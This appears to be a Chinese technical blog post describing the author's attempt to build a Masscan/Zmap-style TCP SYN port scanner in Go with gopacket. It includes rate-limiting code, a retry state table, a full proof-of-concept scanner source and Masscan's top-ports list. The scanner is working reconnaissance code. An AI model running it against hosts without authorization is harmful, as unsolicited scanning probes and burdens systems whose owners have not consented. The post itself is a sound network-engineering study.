在了解完以上后,我就准备用go写一款类似的扫描器了,希望能解决丢包的问题,顺便学习go。
在上面分析中知道了,Masscan和Zmap都使用了pcap,pfring这些组件来原生发包,值得高兴的是go官方也有原生支持这些的包 https://github.com/google/gopacket,而且完美符合我们的要求。
接口没问题,在实现了基础的无状态扫描功能后,接下来就是如何处理丢包的问题。
丢包问题
按照tcp协议的原理,我们发送一个数据包给目标机器,端口开放时返回
ack
标记,关闭会返回rst
标记。但是通过扫描一台外网的靶机,发现扫描几个端口是没问题的,但是扫描大批量的端口(1-65535),就可能造成丢包问题。而且不存在的端口不会返回任何数据。
控制速率
刚开始以为是速度太快了,所以先控制下每秒发送的频率。因为发送和接收都是启动了一个goroutine,目标的传入是通过一个channel传入的(go的知识点)。
所以控制速率的伪代码类似这样
12345678910111213141516171819202122232425262728rate := 300 // 每秒速度var data = []int{1, 2, 3, 4, 5, 6,...,65535} // 端口数组ports := make(chan int, rate)go func() {// 每秒将data数据分配到portsindex := 0for {OldTimestap := time.Now().UnixNano() / 1e6 // 取毫秒for i := index; i < index+rate; i++ {if len(datas) <= index {break}index++distribution <- data[i]}if len(datas) <= index {break}Timestap := time.Now().UnixNano() / 1e6TimeTick := Timestap - OldTimestapif TimeTick < 1000 {time.Sleep(time.Duration(1000-TimeTick) * time.Millisecond)}}fmt.Println("发送完毕..")}()本地状态表
即使将速度控制到了最小,也存在丢包的问题,后经过一番测试,发现是防火墙的原因。例如常用的
iptables
,其中拒绝的端口不会返回信息。将端口放行后再次扫描,就能正常返回数据包了。此时遇到的问题是有防火墙策略的主机如何进行准确扫描,一种方法是扫描几个端口后就延时一段时间,但这不符合快速扫描的设想,所以我的想法是维护一个本地的状态表,状态表中能够动态修改每个扫描结果的状态,将那些没有返回包的目标进行重试。
Ps:这是针对一个主机,多端口(1-65535)的扫描策略,如果是多个IP,Masscan的
随机化地址扫描
策略就能发挥作用了。设想的结构如下
12345678// 本地状态表的数据结构type ScanData struct {ip stringport inttime int64 // 发送时间retry int // 重试次数status int // 0 未发送 1 已发送 2 已回复 3 已放弃}初始数据时
status
为0,当发送数据时,将status
变更为1,同时记录发送时间time
,接收数据时通过返回的标记,dstport
,seq
等查找到本地状态表相应的数据结构,变更status
为2,同时启动一个监控程序,监控程序每隔一段时间对所有的状态进行检查,如果发现stauts
为1并且当前时间-发送时间大于一定值的时候,可以判断这个ip+端口的探测包丢失了,准备重发,将retry
+1,重新设置发送时间time
后,将数据传入发送的channel中。概念验证程序
因为只是概念验证程序,而且是自己组包发送,需要使用到本地和网关的mac地址等,这些还没有写自动化程序获取,需要手动填写。mac地址可以手动用wireshark抓包获得。
如果你想使用该程序的话,需要修改全局变量中的这些值
1234567var (SrcIP string = "10.x.x.x" // 源IPDstIp string = "188.131.x.x" // 目标IPdevice string = "en0" // 网卡名称SrcMac net.HardwareAddr = net.HardwareAddr{0xf0, 0x18, 0x98, 0x1a, 0x57, 0xe8} // 源mac地址DstMac net.HardwareAddr = net.HardwareAddr{0x5c, 0xc9, 0x99, 0x33, 0x37, 0x80} // 网关mac地址)整个go语言源程序如下,单文件。
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249package mainimport ("fmt""github.com/google/gopacket""github.com/google/gopacket/layers""github.com/google/gopacket/pcap""log""net""sync""time")var (SrcIP string = "10.x.x.x" // 源IPDstIp string = "188.131.x.x" // 目标IPdevice string = "en0" // 网卡名称SrcMac net.HardwareAddr = net.HardwareAddr{0xf0, 0x18, 0x98, 0x1a, 0x57, 0xe8} // 源mac地址DstMac net.HardwareAddr = net.HardwareAddr{0x5c, 0xc9, 0x99, 0x33, 0x37, 0x80} // 网关mac地址)// 本地状态表的数据结构type ScanData struct {ip stringport inttime int64 // 发送时间retry int // 重试次数status int // 0 未发送 1 已发送 2 已回复 3 已放弃}func recv(datas *[]ScanData, lock *sync.Mutex) {var (snapshot_len int32 = 1024promiscuous bool = falsetimeout time.Duration = 30 * time.Secondhandle *pcap.Handle)handle, _ = pcap.OpenLive(device, snapshot_len, promiscuous, timeout)// Use the handle as a packet source to process all packetspacketSource := gopacket.NewPacketSource(handle, handle.LinkType())scandata := *datasfor {packet, err := packetSource.NextPacket()if err != nil {continue}if IpLayer := packet.Layer(layers.LayerTypeIPv4); IpLayer != nil {if tcpLayer := packet.Layer(layers.LayerTypeTCP); tcpLayer != nil {tcp, _ := tcpLayer.(*layers.TCP)ip, _ := IpLayer.(*layers.IPv4)if tcp.Ack != 111223 {continue}if tcp.SYN && tcp.ACK {fmt.Println(ip.SrcIP, " port:", int(tcp.SrcPort))_index := int(tcp.DstPort)lock.Lock()scandata[_index].status = 2lock.Unlock()} else if tcp.RST {fmt.Println(ip.SrcIP, " port:", int(tcp.SrcPort), " close")_index := int(tcp.DstPort)lock.Lock()scandata[_index].status = 2lock.Unlock()}}}//fmt.Printf("From src port %d to dst port %d\n", tcp.SrcPort, tcp.DstPort)}}func send(index chan int, datas *[]ScanData, lock *sync.Mutex) {srcip := net.ParseIP(SrcIP).To4()var (snapshot_len int32 = 1024promiscuous bool = falseerr errortimeout time.Duration = 30 * time.Secondhandle *pcap.Handle)handle, err = pcap.OpenLive(device, snapshot_len, promiscuous, timeout)if err != nil {log.Fatal(err)}defer handle.Close()scandata := *datasfor {_index := <-indexlock.Lock()data := scandata[_index]port := data.portscandata[_index].status = 1dstip := net.ParseIP(data.ip).To4()lock.Unlock()eth := &layers.Ethernet{SrcMAC: SrcMac,DstMAC: DstMac,EthernetType: layers.EthernetTypeIPv4,}// Our IPv4 headerip := &layers.IPv4{Version: 4,IHL: 5,TOS: 0,Length: 0, // FIXId: 0,Flags: layers.IPv4DontFragment,FragOffset: 0, //16384,TTL: 64, //64,Protocol: layers.IPProtocolTCP,Checksum: 0,SrcIP: srcip,DstIP: dstip,}// Our TCP headertcp := &layers.TCP{SrcPort: layers.TCPPort(_index),DstPort: layers.TCPPort(port),Seq: 111222,Ack: 0,SYN: true,Window: 1024,Checksum: 0,Urgent: 0,}//tcp.DataOffset = 5 // uint8(unsafe.Sizeof(tcp))_ = tcp.SetNetworkLayerForChecksum(ip)buf := gopacket.NewSerializeBuffer()err := gopacket.SerializeLayers(buf,gopacket.SerializeOptions{ComputeChecksums: true, // automatically compute checksumsFixLengths: true,},eth, ip, tcp,)if err != nil {log.Fatal(err)}//fmt.Println("\n" + hex.EncodeToString(buf.Bytes()))err = handle.WritePacketData(buf.Bytes())if err != nil {fmt.Println(err)}}}func main() {version := pcap.Version()fmt.Println(version)retry := 8var datas []ScanDatalock := &sync.Mutex{}for i := 20; i < 1000; i++ {temp := ScanData{port: i,ip: DstIp,retry: 0,status: 0,time: time.Now().UnixNano() / 1e6,}datas = append(datas, temp)}fmt.Println("target", DstIp, " count:", len(datas))rate := 300distribution := make(chan int, rate)go func() {// 每秒将ports数据分配到distributionindex := 0for {OldTimestap := time.Now().UnixNano() / 1e6for i := index; i < index+rate; i++ {if len(datas) <= index {break}index++distribution <- i}if len(datas) <= index {break}Timestap := time.Now().UnixNano() / 1e6TimeTick := Timestap - OldTimestapif TimeTick < 1000 {time.Sleep(time.Duration(1000-TimeTick) * time.Millisecond)}}fmt.Println("发送完毕..")}()go recv(&datas, lock)go send(distribution, &datas, lock)// 监控for {time.Sleep(time.Second * 1)count_1 := 0count_2 := 0count_3 := 0var ids []intlock.Lock()for index, data := range datas {if data.status == 1 {count_1++if data.retry >= retry {datas[index].status = 3continue}nowtime := time.Now().UnixNano() / 1e6if nowtime-data.time >= 1000 {datas[index].retry += 1datas[index].time = nowtimeids = append(ids, index)//fmt.Println("重发id:", index)//distribution <- index}} else if data.status == 2 {count_2++} else if data.status == 3 {count_3++}}lock.Unlock()if len(ids) > 0 {time.Sleep(time.Second)increase := 0interval := 60for _, v := range ids {distribution <- vincrease++if increase > 1 && increase%interval == 0 {time.Sleep(time.Second)}}}fmt.Println("status=1:", count_1, "status=2:", count_2, "status=3:", count_3)}}运行结果如下
但这个程序并没有解决上述说的防火墙阻断问题,设想很美好,但是在实践的过程中发现这样一个问题。比如扫描一台主机中的1000个端口,第一次扫描后由于有防火墙的策略只检测到了5个端口,剩下995个端口会进行第一次重试,但是重试中依然会遇到防火墙的问题,所以本质上并没有解决这个问题。
Top端口
这是Masscan源码中一份内置的Top端口表
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778staticconstunsignedshorttop_tcp_ports[]={1,3,4,6,7,9,13,17,19,20,21,22,23,24,25,26,30,32,33,37,42,43,49,53,70,79,80,81,82,83,84,85,88,89,90,99,100,106,109,110,111,113,119,125,135,139,143,144,146,161,163,179,199,211,212,222,254,255,256,259,264,280,301,306,311,340,366,389,406,407,416,417,425,427,443,444,445,458,464,465,481,497,500,512,513,514,515,524,541,543,544,545,548,554,555,563,587,593,616,617,625,631,636,646,648,666,667,668,683,687,691,700,705,711,714,720,722,726,749,765,777,783,787,800,801,808,843,873,880,888,898,900,901,902,903,911,912,981,987,990,992,993,995,999,1000,1001,1002,1007,1009,1010,1011,1021,1022,1023,1024,1025,1026,1027,1028,1029,1030,1031,1032,1033,1034,1035,1036,1037,1038,1039,1040,1041,1042,1043,1044,1045,1046,1047,1048,1049,1050,1051,1052,1053,1054,1055,1056,1057,1058,1059,1060,1061,1062,1063,1064,1065,1066,1067,1068,1069,1070,1071,1072,1073,1074,1075,1076,1077,1078,1079,1080,1081,1082,1083,1084,1085,1086,1087,1088,1089,1090,1091,1092,1093,1094,1095,1096,1097,1098,1099,1100,1102,1104,1105,1106,1107,1108,1110,1111,1112,1113,1114,1117,1119,1121,1122,1123,1124,1126,1130,1131,1132,1137,1138,1141,1145,1147,1148,1149,1151,1152,1154,1163,1164,1165,1166,1169,1174,1175,1183,1185,1186,1187,1192,1198,1199,1201,1213,1216,1217,1218,1233,1234,1236,1244,1247,1248,1259,1271,1272,1277,1287,1296,1300,1301,1309,1310,1311,1322,1328,1334,1352,1417,1433,1434,1443,1455,1461,1494,1500,1501,1503,1521,1524,1533,1556,1580,1583,1594,1600,1641,1658,1666,1687,1688,1700,1717,1718,1719,1720,1721,1723,1755,1761,1782,1783,1801,1805,1812,1839,1840,1862,1863,1864,1875,1900,1914,1935,1947,1971,1972,1974,1984,1998,1999,2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2010,2013,2020,2021,2022,2030,2033,2034,2035,2038,2040,2041,2042,2043,2045,2046,2047,2048,2049,2065,2068,2099,2100,2103,2105,2106,2107,2111,2119,2121,2126,2135,2144,2160,2161,2170,2179,2190,2191,2196,2200,2222,2251,2260,2288,2301,2323,2366,2381,2382,2383,2393,2394,2399,2401,2492,2500,2522,2525,2557,2601,2602,2604,2605,2607,2608,2638,2701,2702,2710,2717,2718,2725,2800,2809,2811,2869,2875,2909,2910,2920,2967,2968,2998,3000,3001,3003,3005,3006,3007,3011,3013,3017,3030,3031,3052,3071,3077,3128,3168,3211,3221,3260,3261,3268,3269,3283,3300,3301,3306,3322,3323,3324,3325,3333,3351,3367,3369,3370,3371,3372,3389,3390,3404,3476,3493,3517,3527,3546,3551,3580,3659,3689,3690,3703,3737,3766,3784,3800,3801,3809,3814,3826,3827,3828,3851,3869,3871,3878,3880,3889,3905,3914,3918,3920,3945,3971,3986,3995,3998,4000,4001,4002,4003,4004,4005,4006,4045,4111,4125,4126,4129,4224,4242,4279,4321,4343,4443,4444,4445,4446,4449,4550,4567,4662,4848,4899,4900,4998,5000,5001,5002,5003,5004,5009,5030,5033,5050,5051,5054,5060,5061,5080,5087,5100,5101,5102,5120,5190,5200,5214,5221,5222,5225,5226,5269,5280,5298,5357,5405,5414,5431,5432,5440,5500,5510,5544,5550,5555,5560,5566,5631,5633,5666,5678,5679,5718,5730,5800,5801,5802,5810,5811,5815,5822,5825,5850,5859,5862,5877,5900,5901,5902,5903,5904,5906,5907,5910,5911,5915,5922,5925,5950,5952,5959,5960,5961,5962,5963,5987,5988,5989,5998,5999,6000,6001,6002,6003,6004,6005,6006,6007,6009,6025,6059,6100,6101,6106,6112,6123,6129,6156,6346,6389,6502,6510,6543,6547,6565,6566,6567,6580,6646,6666,6667,6668,6669,6689,6692,6699,6779,6788,6789,6792,6839,6881,6901,6969,7000,7001,7002,7004,7007,7019,7025,7070,7100,7103,7106,7200,7201,7402,7435,7443,7496,7512,7625,7627,7676,7741,7777,7778,7800,7911,7920,7921,7937,7938,7999,8000,8001,8002,8007,8008,8009,8010,8011,8021,8022,8031,8042,8045,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8093,8099,8100,8180,8181,8192,8193,8194,8200,8222,8254,8290,8291,8292,8300,8333,8383,8400,8402,8443,8500,8600,8649,8651,8652,8654,8701,8800,8873,8888,8899,8994,9000,9001,9002,9003,9009,9010,9011,9040,9050,9071,9080,9081,9090,9091,9099,9100,9101,9102,9103,9110,9111,9200,9207,9220,9290,9415,9418,9485,9500,9502,9503,9535,9575,9593,9594,9595,9618,9666,9876,9877,9878,9898,9900,9917,9929,9943,9944,9968,9998,9999,10000,10001,10002,10003,10004,10009,10010,10012,10024,10025,10082,10180,10215,10243,10566,10616,10617,10621,10626,10628,10629,10778,11110,11111,11967,12000,12174,12265,12345,13456,13722,13782,13783,14000,14238,14441,14442,15000,15002,15003,15004,15660,15742,16000,16001,16012,16016,16018,16080,16113,16992,16993,17877,17988,18040,18101,18988,19101,19283,19315,19350,19780,19801,19842,20000,20005,20031,20221,20222,20828,21571,22939,23502,24444,24800,25734,25735,26214,27000,27352,27353,27355,27356,27715,28201,30000,30718,30951,31038,31337,32768,32769,32770,32771,32772,32773,32774,32775,32776,32777,32778,32779,32780,32781,32782,32783,32784,32785,33354,33899,34571,34572,34573,35500,38292,40193,40911,41511,42510,44176,44442,44443,44501,45100,48080,49152,49153,49154,49155,49156,49157,49158,49159,49160,49161,49163,49165,49167,49175,49176,49400,49999,50000,50001,50002,50003,50006,50300,50389,50500,50636,50800,51103,51493,52673,52822,52848,52869,54045,54328,55055,55056,55555,55600,56737,56738,57294,57797,58080,60020,60443,61532,61900,62078,63331,64623,64680,65000,65129,65389};可以使用
--top-ports = n
来选择数量。这是在写完go扫描器后又在Masscan中发现的,可能想象到Masscan可能也考虑过这个问题,它的方法是维护一个top常用端口的排行来尽可能减少扫描端口的数量,这样可以覆盖到大多数的端口(猜测)。
总结
概念性程序实践失败了,所以再用go开发的意义也不大了,后面还有一个坑就是go的pcap不能跨平台编译,只能在Windows下编译windows版本,mac下编译mac版本。
但是研究了Masscan和Zmap在tcp协议下的syn扫描模式,还是有很多收获,以及明白了它们为什么要这么做,同时对网络协议和一些更低层的细节有了更深的认识。
这里个人总结了一些tips:
- Masscan源码比Zmap读起来更清晰,注释也很多,基本上一看源码就能明白大致的结构了。
- Masscan和Zmap最高速度模式都是使用的pfring这个驱动程序,理论上它两的速度是一致的,只是它们宣传口径不一样?
- 网络宽带足够情况下,扫描单个端口准确率是最高的(通过自己编写go扫描器的实践得出)。
- Masscan和Zmap都能利用多网卡,但是Zmap线程切换用了锁,可能会消耗部分时间。
- 设置发包速率时不仅要考虑自己带宽,还要考虑目标服务器的承受情况(扫描多端口时)
参考链接
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1052/
- 定制的网络驱动